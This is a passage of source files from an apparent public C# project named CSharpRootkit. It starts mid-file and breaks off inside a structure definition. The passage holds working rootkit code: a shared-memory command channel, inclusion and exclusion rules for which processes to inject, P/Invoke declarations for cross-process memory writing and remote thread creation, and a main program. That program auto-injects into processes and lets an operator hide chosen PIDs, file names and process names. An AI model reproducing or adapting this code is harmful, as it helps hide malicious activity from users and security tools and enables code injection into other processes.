bool GetRootKitStatus() 276 | { 277 | return MemoryFileModifier.ReadBoolean(RootKitStartedRegionStart); 278 | } 279 | 280 | private static bool IsInclusionMode() 281 | { 282 | return MemoryFileModifier.ReadBoolean(IsInclusionModeRegionStart); 283 | } 284 | 285 | private static RootKitIPCStructs.MemoryInfoTag GetNextAddAvailbleDataSpot(int dataLength) 286 | { 287 | long currentPos = ClientCommandsRegionStart; 288 | while (currentPos < ClientCommandsRegionEnd) 289 | { 290 | int structLength = MemoryFileModifier.ReadInt32(currentPos); 291 | if (structLength == 0) // Free region, need to find the next region and make sure it doesn't overwrite 292 | { 293 | long tempCurrentPos = currentPos; 294 | 295 | while (tempCurrentPos < ClientCommandsRegionEnd && (tempCurrentPos - currentPos) < dataLength) 296 | { 297 | if (MemoryFileModifier.ReadByte(tempCurrentPos) != 0) 298 | { 299 | break; 300 | } 301 | tempCurrentPos++; 302 | } 303 | long RegionSize = tempCurrentPos - currentPos; 304 | if (dataLength <= RegionSize) 305 | { 306 | return new RootKitIPCStructs.MemoryInfoTag { StartRegion = currentPos, EndRegion = currentPos + dataLength, HasRegion = true }; 307 | } 308 | else 309 | { 310 | currentPos = tempCurrentPos; 311 | 312 | if (currentPos >= ClientCommandsRegionEnd) 313 | { 314 | break; 315 | } 316 | 317 | structLength = MemoryFileModifier.ReadInt32(currentPos); 318 | } 319 | } 320 | currentPos += structLength + 4; // +4 for the starting int 321 | } 322 | return new RootKitIPCStructs.MemoryInfoTag { StartRegion = 0, EndRegion = 0, HasRegion = false }; 323 | } 324 | 325 | private static RootKitIPCStructs.MemoryInfoTag AddClientRegionCommandData(RootKitIPCStructs.ServerOpcodeEnum opcode, T data) 326 | { 327 | using (Mutex mutex = new Mutex(false, ClientCommandRegionMutex, out bool createdNew, MutexSecuritySettings)) 328 | { 329 | try 330 | { 331 | mutex.WaitOne(); 332 | byte[] TData = Utils.StructToBytes(data); 333 | int payloadLength = TData.Length + 1;//+1 for the opcode which should be 1 byte 334 | byte[] payloadData = Utils.CombineByteArrays(BitConverter.GetBytes(payloadLength), new byte[] { (byte)opcode }, TData); 335 | RootKitIPCStructs.MemoryInfoTag result = GetNextAddAvailbleDataSpot(payloadData.Length); 336 | if (result.HasRegion) 337 | { 338 | MemoryFileModifier.WriteArray(result.StartRegion, payloadData, 0, payloadData.Length); 339 | } 340 | return result; 341 | } 342 | finally 343 | { 344 | mutex.ReleaseMutex(); 345 | } 346 | } 347 | } 348 | 349 | private static void RemoveClientRegionCommandData(RootKitIPCStructs.MemoryInfoTag region) 350 | { 351 | byte[] NullData = new byte[region.EndRegion - region.StartRegion]; 352 | MemoryFileModifier.WriteArray(region.StartRegion, NullData, 0, NullData.Length); 353 | } 354 | 355 | private static RootKitIPCStructs.ServerCommand[] GetCommands() 356 | { 357 | List commands = new List(); 358 | long currentPos = ServerCommandsRegionStart; 359 | while (currentPos < ServerCommandsRegionEnd) 360 | { 361 | int structLength = MemoryFileModifier.ReadInt32(currentPos); 362 | 363 | if (structLength == 0) 364 | { 365 | long tempPos = currentPos; 366 | while (tempPos < ServerCommandsRegionEnd) 367 | { 368 | if (MemoryFileModifier.ReadByte(tempPos) != 0) 369 | { 370 | currentPos = tempPos; 371 | structLength = MemoryFileModifier.ReadInt32(currentPos); 372 | currentPos += 4; 373 | break; 374 | } 375 | tempPos++; 376 | } 377 | if (tempPos >= ServerCommandsRegionEnd) 378 | { 379 | return commands.ToArray(); 380 | } 381 | } 382 | else 383 | { 384 | currentPos += 4; 385 | } 386 | 387 | RootKitIPCStructs.MemoryInfoTag location = new RootKitIPCStructs.MemoryInfoTag() { StartRegion = currentPos - 4, EndRegion = currentPos + structLength };//-4 to account the +4 earlier, we only add in the EndRegion as the memoryinfo holds the length header too, so currentPos is currently skipping the he 388 | 389 | RootKitIPCStructs.ClientOpcodeEnum opcode = (RootKitIPCStructs.ClientOpcodeEnum)MemoryFileModifier.ReadByte(currentPos); 390 | currentPos++; 391 | structLength--; 392 | byte[] data = new byte[structLength]; 393 | MemoryFileModifier.ReadArray(currentPos, data, 0, data.Length); 394 | commands.Add(new RootKitIPCStructs.ServerCommand() { opcode = opcode, data = data, location= location }); 395 | currentPos += structLength; 396 | } 397 | return commands.ToArray(); 398 | } 399 | 400 | private static bool IsTaskCompleted(RootKitIPCStructs.MemoryInfoTag taskLocation) 401 | { 402 | long CompletionBoolLocation = taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address 403 | return MemoryFileModifier.ReadBoolean(CompletionBoolLocation); 404 | } 405 | 406 | private static bool WaitForTaskComplete(RootKitIPCStructs.MemoryInfoTag taskLocation, int timeout=2000) 407 | { 408 | long CompletionBoolLocation=taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address 409 | Stopwatch stopwatch = new Stopwatch(); 410 | stopwatch.Start(); 411 | while (stopwatch.ElapsedMilliseconds < timeout) 412 | { 413 | if (MemoryFileModifier.ReadBoolean(CompletionBoolLocation)) 414 | { 415 | return true; 416 | } 417 | Thread.Sleep(50); 418 | } 419 | return false; 420 | } 421 | private static void MarkTaskComplete(RootKitIPCStructs.MemoryInfoTag taskLocation) 422 | { 423 | long CompletionBoolLocation = taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address 424 | MemoryFileModifier.Write(CompletionBoolLocation, true); 425 | } 426 | 427 | public static void NtResumeThread_InjectAdminProcess(int ProcessToInject) 428 | { 429 | if (!started) 430 | { 431 | return; 432 | } 433 | RootKitIPCStructs.MemoryInfoTag commandLocation= AddClientRegionCommandData(RootKitIPCStructs.ServerOpcodeEnum.MimicNtResumeInjectOnAdminProcess, new RootKitIPCStructs.InjectProcessInfo() { ProcessToInject = ProcessToInject, TaskComplete = false }); 434 | WaitForTaskComplete(commandLocation, 3000); 435 | //Console.WriteLine("admin injected!?!"); 436 | //remove task from queue 437 | } 438 | 439 | public static bool IsAgainstInclusionExclusionRules(int pid) 440 | { 441 | if (!started) 442 | { 443 | return true; 444 | //throw new Exception("This interface has not been started!"); 445 | } 446 | 447 | 448 | bool isInclusion = IsInclusionMode(); 449 | 450 | if (Utils.GetFilePathOfProcess(pid, out string fullFilePath)) 451 | { 452 | string processName = Path.GetFileName(fullFilePath).ToLower(); 453 | string[] InclusionExclusionPathNamesCopy = InjectProcessPathInclusionExclusionList.ToArray(); 454 | string[] InclusionExclusionProcessNamesCopy = InjectProcessNameInclusionExclusionList.ToArray(); 455 | 456 | foreach (string path in InclusionExclusionPathNamesCopy) 457 | { 458 | if (Utils.ComparePaths(path, fullFilePath)) 459 | { 460 | return !isInclusion; 461 | } 462 | } 463 | 464 | foreach (string name in InjectProcessNameInclusionExclusionList) 465 | { 466 | if (processName == name) 467 | { 468 | return !isInclusion; 469 | } 470 | } 471 | 472 | } 473 | else 474 | { 475 | return !isInclusion; 476 | } 477 | 478 | return isInclusion; 479 | 480 | 481 | } 482 | 483 | public static bool IsAgainstInclusionExclusionRules(IntPtr hProcess) 484 | { 485 | if (!started) 486 | { 487 | return true; 488 | //throw new Exception("This interface has not been started!"); 489 | } 490 | 491 | bool isInclusion = IsInclusionMode(); 492 | 493 | if (Utils.GetFilePathOfProcess(hProcess, out string fullFilePath)) 494 | { 495 | string processName = Path.GetFileName(fullFilePath).ToLower(); 496 | string[] InclusionExclusionPathNamesCopy = InjectProcessPathInclusionExclusionList.ToArray(); 497 | string[] InclusionExclusionProcessNamesCopy = InjectProcessNameInclusionExclusionList.ToArray(); 498 | 499 | foreach (string path in InclusionExclusionPathNamesCopy) 500 | { 501 | if (Utils.ComparePaths(path, fullFilePath)) 502 | { 503 | return !isInclusion; 504 | } 505 | } 506 | 507 | foreach (string name in InjectProcessNameInclusionExclusionList) 508 | { 509 | if (processName == name) 510 | { 511 | return !isInclusion; 512 | } 513 | } 514 | 515 | } 516 | else 517 | { 518 | return !isInclusion; 519 | } 520 | return isInclusion; 521 | } 522 | 523 | 524 | } 525 | } 526 | -------------------------------------------------------------------------------- /CSharpRootkit/NativeMethods/DbgInterface.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CSharpRootkit 9 | { 10 | public class DbgInterface 11 | { 12 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("27fe5639-8407-4f47-8364-ee118fb08ac8")] 13 | public interface IDebugClient 14 | { 15 | int D00(); int D01(); int D02(); int D03(); int D04(); 16 | int D05(); int D06(); int D07(); int D08(); [PreserveSig] 17 | uint AttachProcess( 18 | [In] ulong Server, 19 | [In] uint pid, 20 | [In] uint flags); 21 | int D10(); 22 | 23 | int D11(); int D12(); int D13(); int D14(); 24 | int D15(); int D16(); 25 | 26 | int D17(); int D18(); int D19(); int D20(); int D21(); 27 | int D22(); int D23(); int D24(); int D25(); int D26(); 28 | int D27(); int D28(); int D29(); int D30(); int D31(); 29 | 30 | } 31 | 32 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("5182e668-105e-416e-ad92-24ef800424ba")] 33 | public interface IDebugControl 34 | { 35 | int D01(); int D02(); int D03(); int D04(); int D05(); 36 | int D06(); int D07(); int D08(); int D09(); int D10(); 37 | int D11(); int D12(); int D13(); int D14(); int D15(); 38 | int D16(); int D17(); int D18(); int D19(); int D20(); 39 | int D21(); int D22(); int D23(); 40 | [PreserveSig] 41 | uint Disassemble( 42 | [In] ulong Offset, 43 | [In] uint Flags, 44 | [Out, MarshalAs(UnmanagedType.LPStr)] StringBuilder Buffer, 45 | [In] uint BufferSize, 46 | [Out] out uint DisassemblySize, 47 | [Out] out ulong EndOffset); 48 | int D25(); 49 | int D26(); int D27(); int D28(); int D29(); int D30(); 50 | int D31(); int D32(); int D33(); int D34(); int D35(); 51 | int D36(); int D37(); int D38(); int D39(); int D40(); 52 | int D41(); int D42(); int D43(); int D44(); int D45(); 53 | int D46(); int D47(); [PreserveSig] 54 | uint SetExecutionStatus(uint Status); int D49(); int D50(); 55 | int D51(); int D52(); int D53(); int D54(); int D55(); 56 | int D56(); int D57(); int D58(); int D59(); int D60(); 57 | int D61(); int D62(); int D63(); 58 | int D64(); 59 | int D65(); int D66(); int D67(); int D68(); int D69(); int D70(); 60 | int D71(); int D72(); int D73(); int D74(); int D75(); 61 | int D76(); int D77(); int D78(); int D79(); int D80(); 62 | int D81(); int D82(); int D83(); int D84(); int D85(); 63 | int D86(); int D87(); int D88(); int D89(); int D90(); 64 | [PreserveSig] 65 | uint WaitForEvent( 66 | [In] int wait, 67 | [In] int timeout); 68 | 69 | } 70 | 71 | [DllImport("dbgeng.dll", SetLastError = true)] 72 | public static extern int DebugCreate(ref Guid refId, out DbgInterface.IDebugClient ptr); 73 | 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /CSharpRootkit/NativeMethods/NativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Runtime.InteropServices.ComTypes; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using static CSharpRootkit.InternalStructs; 9 | 10 | namespace CSharpRootkit 11 | { 12 | public class NativeMethods 13 | { 14 | [DllImport("kernel32.dll", SetLastError = true)] 15 | public static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process); 16 | 17 | [DllImport("kernel32.dll", SetLastError = true)] 18 | public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); 19 | 20 | [DllImport("kernel32.dll", SetLastError = true)] 21 | public static extern bool CloseHandle(IntPtr hProcess); 22 | 23 | [DllImport("kernel32.dll")] 24 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, 28 | IntPtr hSourceHandle, 29 | IntPtr hTargetProcessHandle, 30 | ref IntPtr lpTargetHandle, 31 | uint dwDesiredAccess, 32 | bool bInheritHandle, 33 | uint dwOptions 34 | ); 35 | 36 | [DllImport("kernel32.dll", SetLastError = true)] 37 | public static extern bool ReadProcessMemory( 38 | IntPtr hProcess, 39 | IntPtr lpBaseAddress, 40 | IntPtr lpBuffer, 41 | UIntPtr dwSize, 42 | ref UIntPtr lpNumberOfBytesRead 43 | ); 44 | [DllImport("kernel32.dll", SetLastError = true)] 45 | public static extern IntPtr GetCurrentProcess(); 46 | [DllImport("kernel32.dll", SetLastError = true)] 47 | public static extern uint GetCurrentProcessId(); 48 | 49 | [DllImport("kernel32.dll", SetLastError = true)] 50 | public static extern uint GetThreadId(IntPtr Thread); 51 | 52 | [DllImport("kernel32.dll", SetLastError = true)] 53 | public static extern uint SuspendThread(IntPtr Thread); 54 | 55 | [DllImport("kernel32.dll", SetLastError = true)] 56 | public static extern uint ResumeThread(IntPtr Thread); 57 | 58 | 59 | [DllImport("kernel32.dll", SetLastError = true)] 60 | public static extern uint GetCurrentThreadId(); 61 | 62 | 63 | 64 | [DllImport("ntdll.dll", SetLastError = true)] 65 | public static extern uint NtGetNextThread(IntPtr ProcessHandle, IntPtr ThreadHandle, uint DesiredAccess, uint HandleAttributes, uint Flags, out IntPtr NewThreadHandle); 66 | 67 | [DllImport("ntdll.dll", SetLastError = true)] 68 | public static extern uint NtWaitForSingleObject(IntPtr Handle, bool Alertable, IntPtr TimeOut); 69 | 70 | [DllImport("ntdll.dll", SetLastError = true)] 71 | public static extern uint NtQueryInformationThread(IntPtr threadHandle, THREADINFOCLASS threadInformationClass, IntPtr threadInformation, uint threadInformationLength, out uint returnLength); 72 | 73 | [DllImport("kernel32.dll", SetLastError = true)] 74 | public static extern void SetLastError(uint dwErrCode); 75 | 76 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")] 77 | private static extern int _NtQueryPbi32( 78 | IntPtr ProcessHandle, 79 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass, 80 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation, 81 | uint BufferSize, 82 | ref uint NumberOfBytesRead); 83 | 84 | public static int NtQueryPbi32(IntPtr ProcessHandle, 85 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass, 86 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation, 87 | uint BufferSize, 88 | ref uint NumberOfBytesRead) 89 | { 90 | int result = _NtQueryPbi32(ProcessHandle, ProcessInformationClass, ref ProcessInformation, BufferSize, ref NumberOfBytesRead); 91 | if (Environment.Is64BitProcess) 92 | { 93 | ProcessInformation.PebBaseAddress += Environment.SystemPageSize;//when im a 64bit process the PebBaseAddress will be the address of the 64bit peb, i need to 32bit peb which shoud be exactly 1 page size away 94 | } 95 | return result; 96 | } 97 | 98 | 99 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")] 100 | public static extern int NtQueryPbi64From64( 101 | IntPtr ProcessHandle, 102 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass, 103 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation, 104 | uint BufferSize, 105 | ref uint NumberOfBytesRead); 106 | 107 | 108 | [DllImport("kernel32.dll", SetLastError = true)] 109 | public static extern bool IsProcessCritical(IntPtr hProcess, out bool Critical); 110 | 111 | [DllImport("advapi32.dll", SetLastError = true)] 112 | public static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority); 113 | 114 | [DllImport("advapi32.dll", SetLastError = true)] 115 | public static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid); 116 | 117 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 118 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); 119 | 120 | [DllImport("kernel32.dll", SetLastError = true)] 121 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); 122 | 123 | [DllImport("kernel32.dll", SetLastError = true)] 124 | public static extern int VirtualQuery(IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 125 | 126 | [DllImport("kernel32.dll", SetLastError = true)] 127 | public static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); 128 | 129 | [DllImport("kernel32.dll", SetLastError = true)] 130 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); 131 | 132 | [DllImport("kernel32.dll", SetLastError = true)] 133 | public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); 134 | 135 | [DllImport("kernel32.dll", SetLastError = true)] 136 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumberOfBytesWritten); 137 | 138 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 139 | public static extern IntPtr LoadLibraryW(string LibraryName); 140 | 141 | [DllImport("kernel32.dll", SetLastError = true)] 142 | public static extern IntPtr GetProcAddress(IntPtr hmodule, string procName); 143 | 144 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 145 | public static extern IntPtr GetModuleHandleW(string lpModuleName); 146 | 147 | [DllImport("kernel32.dll")] 148 | public static extern InternalStructs.FileType GetFileType(IntPtr hFile); 149 | 150 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 151 | public static extern uint GetFinalPathNameByHandleW(IntPtr hFile, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags); 152 | 153 | [DllImport("kernel32.dll", SetLastError = false)] 154 | public static extern void CopyMemory(IntPtr dest, IntPtr src, UIntPtr count); 155 | 156 | [DllImport("ntdll.dll", SetLastError = true)] 157 | public static extern uint NtSuspendThread(IntPtr ThreadHandle, IntPtr PreviousSuspendCount); 158 | 159 | [DllImport("ntdll.dll", SetLastError = true)] 160 | public static extern uint NtResumeThread(IntPtr ThreadHandle, IntPtr SuspendCount); 161 | 162 | [DllImport("ntdll.dll", SetLastError = true)] 163 | public static extern uint NtCreateThreadEx(ref IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool inCreateSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList); 164 | 165 | [DllImport("kernel32.dll", SetLastError = true)] 166 | public static extern uint GetProcessIdOfThread(IntPtr handle); 167 | 168 | [DllImport("advapi32.dll", SetLastError = true)] 169 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); 170 | 171 | [DllImport("advapi32.dll", SetLastError = true)] 172 | public static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); 173 | 174 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 175 | public static extern bool QueryFullProcessImageNameW(IntPtr hProcess, uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpExeName, ref uint lpdwSize); 176 | 177 | [DllImport("kernel32.dll")] 178 | public static extern bool AllocConsole(); 179 | 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /CSharpRootkit/NativeMethods/SpecialNativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | using static CSharpRootkit.InternalStructs64; 9 | 10 | namespace CSharpRootkit 11 | { 12 | public class SpecialNativeMethods 13 | { 14 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint= "NtWow64QueryInformationProcess64")] 15 | public static extern int NtQueryPBI64From32( 16 | IntPtr ProcessHandle, 17 | PROCESSINFOCLASS ProcessInformationClass, 18 | ref PROCESS_BASIC_INFORMATION64 ProcessInformation, 19 | uint BufferSize, 20 | ref uint NumberOfBytesRead); 21 | 22 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtWow64ReadVirtualMemory64")] 23 | public static extern int ReadProcessMemory64From32( 24 | IntPtr ProcessHandle, 25 | ulong BaseAddress, 26 | IntPtr Buffer, 27 | ulong BufferSize, 28 | ref ulong NumberOfBytesWritten); 29 | 30 | 31 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtWow64WriteVirtualMemory64")] 32 | public static extern int WriteProcessMemory64From32( 33 | IntPtr ProcessHandle, 34 | ulong BaseAddress, 35 | IntPtr Buffer, 36 | ulong BufferSize, 37 | ref ulong NumberOfBytesWritten); 38 | 39 | 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /CSharpRootkit/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Reflection; 7 | using System.Runtime.InteropServices; 8 | using System.Security.Cryptography; 9 | using System.Text; 10 | using System.Threading; 11 | using System.Threading.Tasks; 12 | using System.Windows.Forms; 13 | 14 | namespace CSharpRootkit 15 | { 16 | public class Program 17 | { 18 | static void Main(string[] args) 19 | { 20 | Console.ReadLine(); 21 | 22 | RootKitInterface.Start(true); 23 | RootKitInterface.AddInclusionExclusionFilePath(Assembly.GetEntryAssembly().Location); 24 | RootKitInterface.AddInclusionExclusionProcessName("msbuild.exe"); 25 | RootKitInterface.AddInclusionExclusionProcessName("devenv.exe"); 26 | //Console.ReadLine(); 27 | AutoInjector.Start(InjectionEntryPoint); 28 | 29 | 30 | 31 | Console.WriteLine("injected all"); 32 | Console.WriteLine("pid, filename, processname, stop"); 33 | while (RootKitInterface.started) 34 | { 35 | Console.Write("Enter command: "); 36 | string commmand=Console.ReadLine(); 37 | if (commmand == "pid") 38 | { 39 | RootKitInterface.HidePid(int.Parse(Console.ReadLine())); 40 | } 41 | else if (commmand == "filename") 42 | { 43 | RootKitInterface.HideFileName(Console.ReadLine()); 44 | } 45 | else if (commmand == "processname") 46 | { 47 | RootKitInterface.HideProcessName(Console.ReadLine()); 48 | } 49 | else if (commmand == "stop") 50 | { 51 | break; 52 | } 53 | else 54 | { 55 | Console.WriteLine("unknown command"); 56 | } 57 | } 58 | Console.WriteLine("done."); 59 | 60 | AutoInjector.Stop(); 61 | RootKitInterface.Stop(); 62 | Console.ReadLine(); 63 | } 64 | 65 | 66 | public static void InjectionEntryPoint() 67 | { 68 | //we do this as there a weird issue when injeting from admin into a user process, in the Utils constructor it starts the IDebugClient and IDebugControl, we need these to get the assembly code for the function hooking. 69 | //the problem is it takes upward of 5 seconds to start up when injecting from admin -> user, which makes no sense to me. I'm guessing starting the thread is inheriting some admin properties which messes stuff up internally for the IDebugControl. 70 | //my solution it to start a new thread and let the old one die, this appears to fix it, im guessing because it starts it with the proper thread attributes for the given process. 71 | //if anyone knows a real reason why and a solution, hit me up. 72 | new Thread(InjectionStartingPoint).Start(); 73 | } 74 | 75 | public static void InjectionStartingPoint() 76 | { 77 | //NativeMethods.AllocConsole(); 78 | //Console.WriteLine("om"); 79 | if (!Utils.setInjectionFlag(out bool alreadyInjected) || alreadyInjected) 80 | { 81 | return; 82 | } 83 | RootKitClientInterface.Start(); 84 | } 85 | 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /CSharpRootkit/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("CSharpRootkit")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("CSharpRootkit")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("685773d1-ebe7-4766-a087-b3cdca590677")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CSharpRootkit/Structs/InternalStructs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public class InternalStructs 12 | { 13 | public enum PROCESSINFOCLASS : uint 14 | { 15 | ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION 16 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX 17 | ProcessIoCounters, // q: IO_COUNTERS 18 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 19 | ProcessTimes, // q: KERNEL_USER_TIMES 20 | ProcessBasePriority, // s: KPRIORITY 21 | ProcessRaisePriority, // s: ULONG 22 | ProcessDebugPort, // q: HANDLE 23 | ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT 24 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN 25 | ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 26 | ProcessLdtSize, // s: PROCESS_LDT_SIZE 27 | ProcessDefaultHardErrorMode, // qs: ULONG 28 | ProcessIoPortHandlers, // (kernel-mode only) 29 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS 30 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void 31 | ProcessUserModeIOPL, 32 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN 33 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS 34 | ProcessWx86Information, 35 | ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 36 | ProcessAffinityMask, // s: KAFFINITY 37 | ProcessPriorityBoost, // qs: ULONG 38 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX 39 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION 40 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND 41 | ProcessWow64Information, // q: ULONG_PTR 42 | ProcessImageFileName, // q: UNICODE_STRING 43 | ProcessLUIDDeviceMapsEnabled, // q: ULONG 44 | ProcessBreakOnTermination, // qs: ULONG 45 | ProcessDebugObjectHandle, // q: HANDLE // 30 46 | ProcessDebugFlags, // qs: ULONG 47 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables 48 | ProcessIoPriority, // qs: IO_PRIORITY_HINT 49 | ProcessExecuteFlags, // qs: ULONG 50 | ProcessResourceManagement, // ProcessTlsInformation // PROCESS_TLS_INFORMATION 51 | ProcessCookie, // q: ULONG 52 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION 53 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA 54 | ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION 55 | ProcessInstrumentationCallback, // qs: PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 56 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX 57 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] 58 | ProcessImageFileNameWin32, // q: UNICODE_STRING 59 | ProcessImageFileMapping, // q: HANDLE (input) 60 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE 61 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE 62 | ProcessGroupInformation, // q: USHORT[] 63 | ProcessTokenVirtualizationEnabled, // s: ULONG 64 | ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation 65 | ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 66 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 67 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION 68 | ProcessDynamicFunctionTableInformation, 69 | ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables 70 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION 71 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION 72 | ProcessWorkingSetControl, // s: 